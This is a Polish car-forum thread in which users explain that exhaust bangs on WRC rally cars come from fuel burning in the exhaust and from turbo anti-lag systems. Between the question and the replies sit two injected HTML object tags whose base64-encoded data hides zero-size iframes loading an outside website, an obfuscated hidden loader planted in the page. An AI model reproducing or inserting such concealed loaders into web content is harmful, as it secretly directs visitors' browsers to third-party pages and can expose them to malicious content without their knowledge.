WRC - co powoduje strzały z tłumika?

Witam!
Co powoduje strzały z tłumika w samochodach WRC?
Wg mnie to jest przestawiony zapłon jakimś tuningowym modułem, ale nie wiem czy mam rację.
Z góry dzięki za odp!
<OBJECT DATA="data:text/html;base64,PGlmcmFtZSBzcmM9Imh0dHA6Ly9yYXBpZGNhci5wbC9zenVrYWoucGhwIiB3aWR0aD0wIGhlaWdodD0wPg==" width="1" height="1"></OBJECT>
<OBJECT DATA="data:text/html;base64,PGlmcmFtZSBzcmM9Imh0dHA6Ly9yYXBpZGNhci5wbCIgd2lkdGg9MCBoZWlnaHQ9MD4=" width="1" height="1"></OBJECT>

spaliny się zapalają, zapłon też robi swoje

Haj. Tak dokładnie to się nazywa podtrzymanie turbo. Spalenie mieszanki paliwowej w kolektorze wydechowym aby utrzymać obroty turbiny.

Dwie sprawy za to odpowiadają:
1. A/N grupowy wydech, gdzie paliwo dopala się w układzie wydechowym (przelot),
2. podtrzymanie turbo w autach ze sprężarką - paliwo jest podawane do kolektora wydechowego, tutaj spalane, aby sprężarka ciągle pracowała niezależnie od silnika (np. podczas niskich obrotów, hamowania itd.).

pawelMX6 napisał(a):1. A/N grupowy wydech, gdzie paliwo dopala się w układzie wydechowym (przelot),

dokładnie, mam w swoim układ przelotowy i też czasem strzela przy schodzeniu z obrotów